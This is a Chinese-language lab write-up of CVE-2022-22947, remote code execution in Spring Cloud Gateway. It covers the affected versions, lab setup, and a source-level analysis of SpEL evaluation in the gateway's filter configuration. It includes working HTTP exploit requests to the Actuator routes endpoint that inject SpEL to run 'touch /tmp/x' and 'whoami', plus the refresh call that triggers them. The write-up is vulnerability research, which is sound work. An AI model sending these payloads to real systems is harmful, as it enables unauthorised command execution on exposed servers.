Spring Cloud Gateway RCE
即
CVE-2022-22947
spring cloud gateway简介
客户端向Spring Cloud GateWay发出请求,然后在GateWay Handler Mapping中找到与请求相匹配的路由,将其发送到GateWay Web Handler;Handler再通过指定的过滤器链来将请求发送到我们实际的服务执行业务逻辑,然后返回。过滤器之间用虚线分开是因为过滤器可能会在发送代理请求之前(pre)或者之后(post)执行业务逻辑,参考自这篇。Filter在“pre”类型过滤器中可以做参数校验、权限校验、流量监控、日志输出、协议转换等,在“post”类型的过滤器中可以做响应内容、响应头的修改、日志的输出、流量监控等。
漏洞描述
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。
利用条件
- Spring Cloud Gateway 3.1.0之前
典型的是Spring Cloud Gateway 3.0.0 to 3.0.6
- 当 Gateway Actuator 打开时
环境搭建
- 使用vulhub搭建漏洞环境
切换到/vulhub/spring/CVE-2022-22947目录
使用docker-compose up -d 即可搭建漏洞环境
docker run -d -P vulfocus/spring_cve_2022_22947
直接访问网站根目录可以看到example.com页面,说明环境搭建成功。
可惜我失败了
- 源码搭建
直接找到一手作者的文章CVE-2022-22947:SpEL Casting 和 Evil Beans – Wya.pl
下载后idea打开,修改pom.xml,(其实就是按照链接的jar包的pom.xml进行修改)
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-core</artifactId>
<version>2.2.10.RELEASE</version>
</dependency>
然后idea会自动搭环境,吹一会水的时间就可以点击运行了,开心
当然直接java -jar 他给的jar包 也可以
利用流程
如果你用的是p神的vulhub
发送恶意的spel表达式的路由
访问reflash路由
此时进入到docker容器里面看,已经创建成功
poc
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://wya.pl",
"order": 0
}
使用spel表达式新建一个路由
使用refresh刷新一下
之后/tmp目录下应该会新建文件
可能由于本地不是linux环境,也没有touch命令,所以后端reflesh的时候报错了
以下是其他的payload(可以成功)
查看路由信息
查看所有路由
新增spel表达式的路由
POST /actuator/gateway/routes/test3 HTTP/1.1
Host: 127.0.0.1:9000
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 429
{
"id": "test3",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
之后refresh,
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4
test
再次get访问路由
payload特征
post中有spel表达式,访问路由等操作
漏洞分析
拿到demo进行分析
进入
org.springframework.cloud.gateway.support.ShortcutConfigurable
的getValue函数
可以看到是支持spel表达式的
所以说 StandardEvaluationContext 允许调用或调用任何有效的表达式。
继续追溯,查看实现接口的方法
共八个实现了ShortConfigurable接口,与gateway相关的是前两项,进一步分析。
找到GatewayFilterFactory
查看图
GatewayFilterFactory可以转到实现AbstractGatewayFilterFactory
AbstractGatewayFilterFactory可以转到实现AbstractChangeRequestUriGatewayFilterFactory
看一眼图,理一下思路
AddResponseHeaderGatewayFilterFactory继承了AbstractNameValueGatewayFilterFactory
如图
AddResponseHeaderGatewayFilterFactory中定义了一个apply方法、其gateway()是怎么来的
参数传入了NameValueConfig、翻看NameValueConfig类、定义了getValue()方法,通过层层继类父承、端口实现、此时getValue()的返回值就是传入的SPEL表达式的值。